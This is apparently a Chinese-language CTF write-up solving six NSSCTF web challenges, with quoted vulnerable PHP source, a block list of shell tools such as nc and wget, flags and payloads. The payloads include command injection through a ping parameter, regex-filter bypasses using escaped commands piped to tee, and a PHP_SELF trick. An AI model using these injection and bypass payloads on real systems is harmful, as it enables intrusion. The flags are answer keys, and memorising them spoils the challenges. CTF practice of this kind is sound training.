NSSCTF之Web篇刷题记录[12]
- [NCTF 2018]签到题:
- [鹤城杯 2021]EasyP:
- [NSSCTF 2022 Spring Recruit]ezgame:
- [GXYCTF 2019]Ping Ping Ping:
- [SWPUCTF 2021 新生赛]finalrce:
- [NISACTF 2022]checkin:
 
NSSCTF平台:https://www.nssctf.cn/
 PS:记得所有的flag都改为NSSCTF
[NCTF 2018]签到题:
打开是一个search.php 查看源代码都没有找到flag,最后在index.php的响应头找到了!

NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}
[鹤城杯 2021]EasyP:
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}
if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 
分析一下代码$_SERVE[‘PHP_SELF’] 调用的脚本的路径
 $_SERVER[‘REQUEST_URI’]取得当前URI,也就是除域名外后面的完整的地址路径
 basename函数: 返回路径中的文件名部分。

 现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']和正则 只要在php\后面加一个非ascll码就行比如汉字 由于preg_match正则匹配,我们不能直接输入show_source=‘’ 所以可以将show_source变为show[source
 绕过preg_match正则方法是,在 index.php/utils.php后面添加一个非ascii表中的字符(很多都可以)
payload:/index.php/utils.php/巧克力?show[source=1

NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}
[NSSCTF 2022 Spring Recruit]ezgame:
玩游戏65分给你flag(懒得玩)提示给的是js所以我们找一下,在js/preload.js中找到FLAG。

 
 
NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}
[GXYCTF 2019]Ping Ping Ping:
这题之前讲过可以参考链接:https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501
Payload:?ip=127.0.0.1;cat$IFS$9`ls`

 
NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}
[SWPUCTF 2021 新生赛]finalrce:

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 
preg_match 函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls这种都不能使用了 可以使用tee命令
由于ls正则表达被过滤,所以我们还需要绕过preg_match 可以使用反斜杠(\)转义字符
这里的tee功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt 然后访问1.txt看到flllllaaaaaaggggggg

 tac没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (记得|后面要空格)在访问9.txt

 
NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}
[NISACTF 2022]checkin:
提示:尝试复制源码看看->010editor
识别到Unicode特殊字符复制到VScode中 复制下来URLencode编码一下

Payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

NSSCTF{5359287b-d34e-4df8-ac95-1670f011cf2c}







![[VRTK4.0]设置OpenXRCameraRig](https://img-blog.csdnimg.cn/9384bdae15e64099b7befa7629efcce9.png)











